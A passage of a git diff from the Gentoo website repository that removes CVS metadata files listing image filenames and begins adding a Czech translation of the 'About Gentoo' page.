-/l33t_P2P_gtk-gnutella.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_P2P_kazaa.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_P2P_kazaa2.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_P2P_napster.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_amsn-purple.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_cd.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_emacs.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_evolution.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_gent.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_gftp.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_gimp.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_gnome.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_hdd_win_umount.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_kdehome.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_kicker.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_kwrite.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_mozilla2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_purple-folder_green_open.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_purple-mozilla.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_purple-netscape2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_realplayer.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_samba.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_search.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_staroffice.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_term.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_tv.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_PUR_vim.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_REM_vnc.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_REM_vnc2.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TER_Eterm.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TER_eterm.png/1.1/Sun Mar 23 21:58:23 2003//
-/l33t_TER_term.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_bluefish.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_emacs.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_emacs2.png/1.1/Tue Oct 28 13:25:35 2003//
-/l33t_TXT_gedit.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_jedit.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_kate.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_kvim.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_lyx1.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_TXT_lyx2.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_TXT_nedit.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_quanta.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_TXT_vim.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_3d.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_Archon-wizard.png/1.1/Wed Mar 26 10:18:22 2003//
-/l33t_UNK_Zmud.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_batery.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_black_laptop.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_bug-buddy.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_bulb.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_condor.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_dcast.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_dia.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_dogbert.png/1.1/Sun Apr 20 10:49:26 2003//
-/l33t_UNK_duck.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_dustpuppy.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_etherape.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_ethereal.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_flower.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_gea.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_glade.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_gpg-bad.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_gpg-check.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_gpg-ok.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_hammer.png/1.1/Sun Apr 20 10:49:26 2003//
-/l33t_UNK_ipcoach.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_java-source.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_keys.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_krusader.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_latex.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_log.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_UNK_mathematica.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_mouse.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_mozknob.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nephros-diag.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nephros-maple.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nephros-mapletree.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nephros-mathematica.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nephros-netbeans.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nephros-plot.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nethack-alt.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_nethack.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_package_settings.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_pipe.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_portage.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_psi.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_question.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_rox.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_screensaver.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_shark_jacomozzi.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_ship_magne.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_shout.png/1.1/Sun Apr 20 10:49:26 2003//
-/l33t_UNK_snail.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_space.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_strange.png/1.1/Sun Mar  2 16:01:19 2003//
-/l33t_UNK_toxic.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_UNK_tsclient.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_UNK_uno.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_UNK_virtualdub.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_UNK_watch.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_UNK_xrick.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_UTI_calculator.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_UTI_character-map.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_UTI_dictionary.png/1.1/Tue Apr  1 23:54:15 2003//
-/l33t_UTI_seti.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_WIN_msn.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_WIN_win98.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_WIN_winxp.png/1.1/Sun Mar  2 16:01:20 2003//
-/l33t_WIN_xp.png/1.1/Mon Feb  2 14:53:29 2004//
-/l33t_nero.png/1.1/Mon Feb  2 14:53:29 2004//
-D
diff --git a/xml/htdocs/images/icons/CVS/Entries.Log b/xml/htdocs/images/icons/CVS/Entries.Log
deleted file mode 100644
index c5446a93..00000000
--- a/xml/htdocs/images/icons/CVS/Entries.Log
+++ /dev/null
@@ -1,18 +0,0 @@
-A D/DuF////
-A D/Hi-Pi////
-A D/L-Chamber////
-A D/bud1979////
-A D/dufnutz////
-A D/linux4god////
-A D/port001////
-A D/slapcat////
-A D/zypher////
-R D/zypher////
-R D/slapcat////
-R D/port001////
-R D/linux4god////
-R D/dufnutz////
-R D/bud1979////
-R D/L-Chamber////
-R D/Hi-Pi////
-R D/DuF////
diff --git a/xml/htdocs/images/icons/CVS/Repository b/xml/htdocs/images/icons/CVS/Repository
deleted file mode 100644
index 0eb50207..00000000
--- a/xml/htdocs/images/icons/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/icons
diff --git a/xml/htdocs/images/icons/CVS/Root b/xml/htdocs/images/icons/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/icons/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/invoice/CVS/Entries b/xml/htdocs/images/invoice/CVS/Entries
deleted file mode 100644
index dc046e65..00000000
--- a/xml/htdocs/images/invoice/CVS/Entries
+++ /dev/null
@@ -1,2 +0,0 @@
-/gentoo.png/1.1/Fri Nov 29 21:51:21 2002/-kb/
-D
diff --git a/xml/htdocs/images/invoice/CVS/Repository b/xml/htdocs/images/invoice/CVS/Repository
deleted file mode 100644
index 6ee4659d..00000000
--- a/xml/htdocs/images/invoice/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/invoice
diff --git a/xml/htdocs/images/invoice/CVS/Root b/xml/htdocs/images/invoice/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/invoice/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/mirrorchecker/CVS/Entries b/xml/htdocs/images/mirrorchecker/CVS/Entries
deleted file mode 100644
index 42405fd5..00000000
--- a/xml/htdocs/images/mirrorchecker/CVS/Entries
+++ /dev/null
@@ -1,4 +0,0 @@
-/green.gif/1.1/Tue Mar 18 21:46:43 2003//
-/red.gif/1.1/Tue Mar 18 21:46:43 2003//
-/yellow.gif/1.1/Tue Mar 18 21:46:43 2003//
-D
diff --git a/xml/htdocs/images/mirrorchecker/CVS/Repository b/xml/htdocs/images/mirrorchecker/CVS/Repository
deleted file mode 100644
index 06daf07f..00000000
--- a/xml/htdocs/images/mirrorchecker/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/mirrorchecker
diff --git a/xml/htdocs/images/mirrorchecker/CVS/Root b/xml/htdocs/images/mirrorchecker/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/mirrorchecker/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/pr/CVS/Entries b/xml/htdocs/images/pr/CVS/Entries
deleted file mode 100644
index bddc921f..00000000
--- a/xml/htdocs/images/pr/CVS/Entries
+++ /dev/null
@@ -1,10 +0,0 @@
-/community.png/1.1/Mon Feb  9 20:05:04 2004/-kb/
-/direction.png/1.1/Mon Feb  9 20:05:04 2004/-kb/
-/gentoo-1.0-fluxbox.png/1.1/Tue Jul 21 06:50:42 2009//
-/gentoo-1.0-kde.png/1.1/Tue Jul 21 06:50:42 2009//
-/gentoo-1.0-xfce.png/1.1/Tue Jul 21 06:50:42 2009//
-/history.png/1.1/Mon Feb  9 20:05:04 2004/-kb/
-/lt2010.png/1.1/Mon Jun  7 09:55:15 2010//
-/misa.jpg/1.1/Tue Jan 26 03:55:23 2010//
-/sevenl.jpg/1.1/Sun Aug 29 18:10:39 2010//
-D
diff --git a/xml/htdocs/images/pr/CVS/Repository b/xml/htdocs/images/pr/CVS/Repository
deleted file mode 100644
index 56a043bb..00000000
--- a/xml/htdocs/images/pr/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/pr
diff --git a/xml/htdocs/images/pr/CVS/Root b/xml/htdocs/images/pr/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/pr/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/shots/CVS/Entries b/xml/htdocs/images/shots/CVS/Entries
deleted file mode 100644
index 5e1f09f4..00000000
--- a/xml/htdocs/images/shots/CVS/Entries
+++ /dev/null
@@ -1,78 +0,0 @@
-/Bildschirmfoto-small.png/1.1/Fri Sep  7 23:48:47 2007/-kb/
-/Bildschirmfoto.png/1.1/Fri Sep  7 23:48:47 2007/-kb/
-/aether-small.png/1.1/Mon Aug 11 18:16:25 2003//
-/aether.png/1.1/Mon Aug 11 18:30:28 2003//
-/alex-small.png/1.1/Wed Dec  8 14:59:33 2004//
-/alex.png/1.1/Wed Dec  8 14:59:33 2004//
-/buda-small.png/1.1/Sun Jan  2 16:20:12 2005/-kb/
-/buda.png/1.1/Sun Jan  2 16:20:12 2005/-kb/
-/chopinzee-small.png/1.1/Tue Aug 10 10:04:06 2010//
-/chopinzee.png/1.1/Tue Aug 10 10:04:06 2010//
-/darkgentoo2sf2-small.png/1.2/Tue Sep 11 09:07:48 2007/-kb/
-/darkgentoo2sf2.png/1.1/Sat Sep  8 00:47:46 2007/-kb/
-/desktop-cadaver138-small.png/1.1/Wed Nov  9 19:06:50 2005/-kb/
-/desktop-cadaver138.png/1.1/Wed Nov  9 19:06:50 2005/-kb/
-/desktop-danarmak-small.jpg/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-danarmak-small.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-danarmak.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-drobbins-small.jpg/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-drobbins-small.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-drobbins.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-g2boojum-small.jpg/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-g2boojum-small.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-g2boojum.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-gbevin-small.jpg/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-gbevin.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-hallski-small.jpg/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-hallski-small.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-hallski.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-kem-small.jpg/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-kem-small.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-kem.png/1.1/Sat Nov  9 19:03:19 2002//
-/desktop-m0rpheus-small.jpg/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-m0rpheus.jpg/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-m0rpheus.png/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-mjc-small.png/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-mjc.png/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-rehcmx-small.jpg/1.1/Fri Jan 20 20:35:50 2006/-kb/
-/desktop-rehcmx.jpg/1.1/Fri Jan 20 20:35:50 2006/-kb/
-/desktop-scottsshort-small.png/1.1/Sun Nov 20 14:15:09 2005/-kb/
-/desktop-scottsshort.png/1.1/Sun Nov 20 14:09:15 2005/-kb/
-/desktop-stroke-small.jpg/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-stroke-small.png/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-stroke.png/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-trans13nt-small.png/1.1/Wed Feb 26 13:32:36 2003//
-/desktop-trans13nt.jpg/1.1/Wed Feb 26 13:32:36 2003//
-/desktop-trans13nt.png/1.1/Wed Feb 26 13:32:36 2003//
-/desktop-verwilst-small.jpg/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-verwilst.png/1.1/Sat Nov  9 19:03:20 2002//
-/desktop-vijay-small.jpg/1.1/Tue Jan  7 03:18:24 2003/-kb/
-/desktop-vijay.png/1.1/Tue Jan  7 03:18:24 2003/-kb/
-/ejholmes-small.png/1.1/Sun Oct 31 11:12:44 2004/-kb/
-/ejholmes.png/1.1/Sun Oct 31 11:12:44 2004/-kb/
-/fluxbox-small.jpg/1.1/Fri Sep  7 23:48:47 2007/-kb/
-/fluxbox.jpg/1.1/Fri Sep  7 23:48:47 2007/-kb/
-/gnome-small.png/1.1/Fri Sep  7 23:48:47 2007/-kb/
-/gnome.png/1.1/Fri Sep  7 23:48:48 2007/-kb/
-/godoisw-small.jpg/1.1/Sun Jan  2 16:13:07 2005/-kb/
-/godoisw.jpg/1.1/Sun Jan  2 16:13:07 2005/-kb/
-/liquidx.png/1.1/Mon Aug 11 18:30:55 2003//
-/mona-small.png/1.1/Tue Aug 10 10:04:06 2010//
-/mona.png/1.1/Tue Aug 10 10:04:06 2010//
-/nm-small.png/1.1/Tue Aug 10 10:04:06 2010//
-/nm.png/1.1/Tue Aug 10 10:04:06 2010//
-/olson-small.png/1.1/Sun Jan 16 14:26:21 2005/-kb/
-/olson.png/1.1/Sun Jan 16 14:26:21 2005/-kb/
-/rash-small.png/1.1/Fri Sep  7 23:48:48 2007/-kb/
-/rash.png/1.1/Fri Sep  7 23:48:48 2007/-kb/
-/shpaq-small.png/1.1/Tue Aug 10 10:04:06 2010//
-/shpaq.png/1.1/Tue Aug 10 10:04:06 2010//
-/snapshotzi4-small.png/1.1/Fri Sep  7 23:48:48 2007/-kb/
-/snapshotzi4.png/1.1/Fri Sep  7 23:48:48 2007/-kb/
-/sshotpw4-small.png/1.1/Fri Sep  7 23:48:48 2007/-kb/
-/sshotpw4.png/1.1/Fri Sep  7 23:48:48 2007/-kb/
-/whtwtr-small.png/1.1/Tue Aug 10 10:04:06 2010//
-/whtwtr.png/1.1/Tue Aug 10 10:04:06 2010//
-/wschlich-small.png/1.1/Mon Mar 28 12:32:46 2005/-kb/
-/wschlich.png/1.1/Mon Mar 28 12:32:46 2005/-kb/
-D
diff --git a/xml/htdocs/images/shots/CVS/Entries.Log b/xml/htdocs/images/shots/CVS/Entries.Log
deleted file mode 100644
index dc52136e..00000000
--- a/xml/htdocs/images/shots/CVS/Entries.Log
+++ /dev/null
@@ -1 +0,0 @@
-A D/ppc-livecd////
diff --git a/xml/htdocs/images/shots/CVS/Repository b/xml/htdocs/images/shots/CVS/Repository
deleted file mode 100644
index 8bc59a43..00000000
--- a/xml/htdocs/images/shots/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/shots
diff --git a/xml/htdocs/images/shots/CVS/Root b/xml/htdocs/images/shots/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/shots/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/shots/ppc-livecd/CVS/Entries b/xml/htdocs/images/shots/ppc-livecd/CVS/Entries
deleted file mode 100644
index 6bea46e1..00000000
--- a/xml/htdocs/images/shots/ppc-livecd/CVS/Entries
+++ /dev/null
@@ -1,3 +0,0 @@
-/snapshot1.jpg/1.1/Tue Jun  3 00:00:19 2003/-kb/
-/snapshot2.jpg/1.1/Tue Jun  3 00:00:19 2003/-kb/
-D
diff --git a/xml/htdocs/images/shots/ppc-livecd/CVS/Repository b/xml/htdocs/images/shots/ppc-livecd/CVS/Repository
deleted file mode 100644
index 10e15199..00000000
--- a/xml/htdocs/images/shots/ppc-livecd/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/shots/ppc-livecd
diff --git a/xml/htdocs/images/shots/ppc-livecd/CVS/Root b/xml/htdocs/images/shots/ppc-livecd/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/shots/ppc-livecd/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/sponsors/CVS/Entries b/xml/htdocs/images/sponsors/CVS/Entries
deleted file mode 100644
index 6185b823..00000000
--- a/xml/htdocs/images/sponsors/CVS/Entries
+++ /dev/null
@@ -1,40 +0,0 @@
-/bytemark_ad.png/1.1/Sat May 24 14:34:41 2008/-kb/
-/bytemark_logo.png/1.1/Sat May 24 14:34:41 2008/-kb/
-/datarescue-logo.gif/1.1/Tue Jun  7 08:02:52 2005//
-/edurium-ad.gif/1.1/Sun Apr 11 18:01:51 2010//
-/edurium-big.gif/1.1/Sun Apr 11 18:01:51 2010//
-/ethernetworks-logo.jpg/1.1/Tue Dec  9 02:26:00 2003//
-/genesi_logo.gif/1.1/Sat Nov 13 12:51:43 2004//
-/genesi_logo2.png/1.1/Sun Nov 14 02:23:34 2004//
-/gni_logo.png/1.1/Wed Oct 20 12:31:45 2004//
-/hetzner-logo.jpg/1.1/Thu Nov  5 23:37:59 2009//
-/hp-logo.jpg/1.1/Fri Jun 10 14:42:39 2005//
-/hyves-logo.png/1.1/Wed Jun 18 18:48:47 2008/-kb/
-/inversepath_logo.png/1.1/Wed Jan  4 17:23:41 2006//
-/isecure-logo.gif/1.1/Mon Aug 18 17:18:09 2003//
-/iu-logo.jpg/1.1/Wed Oct  8 12:48:31 2003//
-/kredit-ad.jpg/1.2/Tue Nov 10 08:13:08 2009//
-/lumen.png/1.1/Thu Feb 19 14:52:35 2004//
-/melior-logo.jpg/1.1/Sun Aug 17 23:27:05 2003//
-/nvidia-logo.gif/1.1/Sun Apr 11 10:01:27 2004//
-/online-kredit-index.jpg/1.1/Thu Jul  3 01:43:24 2008//
-/opengear-logo.jpg/1.1/Tue Feb  2 20:11:49 2010//
-/ostc-banner.jpg/1.1/Wed Sep 30 19:16:39 2009//
-/osu-logo.png/1.1/Wed Mar 11 00:28:54 2009//
-/osuosl-logo.gif/1.3/Tue Jun  7 08:28:50 2005//
-/osuosl-logo.png/1.2/Thu Nov  5 22:57:39 2009//
-/osuosl-logo.svg/1.1/Wed Mar 11 00:28:54 2009//
-/pilosoft-logo.gif/1.1/Sun Mar 16 17:23:10 2003//
-/sdfrance-logo-small.png/1.1/Fri Aug  6 16:59:25 2010//
-/sdfrance-logo.png/1.1/Fri Aug  6 16:59:25 2010//
-/sevenl.gif/1.4/Thu Mar  2 16:03:17 2006//
-/sevenl_ad.gif/1.1/Tue Aug 10 14:31:28 2010//
-/sevenl_ad.png/1.2/Fri Oct 23 20:21:17 2009//
-/sevenl_logo.gif/1.1/Tue Aug 10 14:31:28 2010//
-/sevenl_logo.png/1.1/Tue Mar 10 23:22:09 2009//
-/ultradns-logo.jpg/1.1/Tue Apr 29 16:36:45 2003//
-/units_logo.png/1.1/Wed Jan  4 17:23:41 2006//
-/virginia-logo.gif/1.1/Tue Jun  7 08:08:30 2005//
-/vr-ad.png/1.1/Fri Jan  8 02:39:14 2010//
-/web-hosting-uk.jpg/1.1/Thu Jul 10 18:17:05 2008//
-D
diff --git a/xml/htdocs/images/sponsors/CVS/Repository b/xml/htdocs/images/sponsors/CVS/Repository
deleted file mode 100644
index 1b63b911..00000000
--- a/xml/htdocs/images/sponsors/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/sponsors
diff --git a/xml/htdocs/images/sponsors/CVS/Root b/xml/htdocs/images/sponsors/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/sponsors/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/images/wwwcontest/CVS/Entries b/xml/htdocs/images/wwwcontest/CVS/Entries
deleted file mode 100644
index 17597a58..00000000
--- a/xml/htdocs/images/wwwcontest/CVS/Entries
+++ /dev/null
@@ -1,20 +0,0 @@
-/contest1_front.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest1_front_thmb.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest1_front_thmb_thmb.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest1_handbook.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest1_handbook_thmb.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest2_front.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest2_front_thmb.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest2_handbook.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest2_handbook_thmb.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest3_front.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest3_front_thmb.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest3_handbook.png/1.1/Tue Sep 21 23:23:55 2004//
-/contest3_handbook_thmb.png/1.1/Tue Sep 21 23:23:56 2004//
-/contest4_front.png/1.1/Tue Sep 21 23:23:56 2004//
-/contest4_front_thmb.png/1.1/Tue Sep 21 23:23:56 2004//
-/contest5_front.png/1.1/Tue Sep 21 23:23:56 2004//
-/contest5_front_thmb.png/1.1/Tue Sep 21 23:23:56 2004//
-/contest5_handbook.png/1.1/Tue Sep 21 23:23:56 2004//
-/contest5_handbook_thmb.png/1.1/Tue Sep 21 23:23:56 2004//
-D
diff --git a/xml/htdocs/images/wwwcontest/CVS/Repository b/xml/htdocs/images/wwwcontest/CVS/Repository
deleted file mode 100644
index 848e1554..00000000
--- a/xml/htdocs/images/wwwcontest/CVS/Repository
+++ /dev/null
@@ -1 +0,0 @@
-gentoo/xml/images/wwwcontest
diff --git a/xml/htdocs/images/wwwcontest/CVS/Root b/xml/htdocs/images/wwwcontest/CVS/Root
deleted file mode 100644
index ac2aadd2..00000000
--- a/xml/htdocs/images/wwwcontest/CVS/Root
+++ /dev/null
@@ -1 +0,0 @@
-:ext:antarus@cvs.gentoo.org:/var/cvsroot
diff --git a/xml/htdocs/main/cs/about.xml b/xml/htdocs/main/cs/about.xml
new file mode 100644
index 00000000..45664bd9
--- /dev/null
+++ b/xml/htdocs/main/cs/about.xml
@@ -0,0 +1,98 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/cs/about.xml,v 1.6 2007/06/09 13:39:15 jkt Exp $ -->
+
+<mainpage lang="cs">
+<title>O Gentoo</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="peesh@gentoo.org">Jorge Paulo</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gmail.com">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Překladatel">
+  <mail link="jkt@gentoo.org">Jan Kundrát</mail>
+</author>
+
+<abstract>
+Krátké pojednání o tom, co vlastně Gentoo je.
+</abstract>
+<license/>
+
+<version>1.6</version>
+<date>2006-05-07</date>
+
+<chapter>
+<title>O Gentoo</title>
+<section>
+<body>
+
+<fig link="/images/poster.jpg"/>
+
+</body>
+</section>
+<section>
+<title>Co je Gentoo?</title>
+<body>
+
+<p>
+Gentoo je svobodný operační systém založený na Linuxu či FreeBSD. Může být
+snadno uzpůsoben pro jakékoli nasazení. Vysoká flexibilita, výkon i špičková
+komunita vývojářů a uživatelů jsou typickými znaky Gentoo.
+</p>
+
+<p>
+Díky technologii Portage může být Gentoo ideálním bezpečným serverem,
+vývojářskou pracovní stanicí, profesionálním desktopem, herním počítačem,
+embedded systémem nebo čímkoliv jiným — přesně podle potřeby. Právě kvůli těmto
+téměř neomezeným možnostem nazýváme Gentoo <b>meta</b>distribucí.
+</p>
+
+</body>
+</section>
+<section>
+<title>Co je Portage?</title>
+<body>
+
+<p>
+<b>Portage</b> je srdcem Gentoo Linuxu a obstarává mnoho klíčových úloh.
+V&nbsp;první řadě zajišťuje <e>správu softwaru</e>. Chcete-li nejnovější verze
+programů pro svůj systém, stačí jeden příkaz — <c>emerge --sync</c>, který
+sesynchronizuje lokální databázi Portage ("strom Portage") s&nbsp;jeho čerstvou
+verzí na Internetu. Tento strom, obsahující sbírku skriptů potřebných pro
+správný běh systému a používaný zejména pro instalaci nového softwaru, nyní
+obsahuje <uri link="http://packages.gentoo.org/categories">přes 10&nbsp;000
+položek</uri> a nové se do něj <uri link="http://packages.gentoo.org">stále
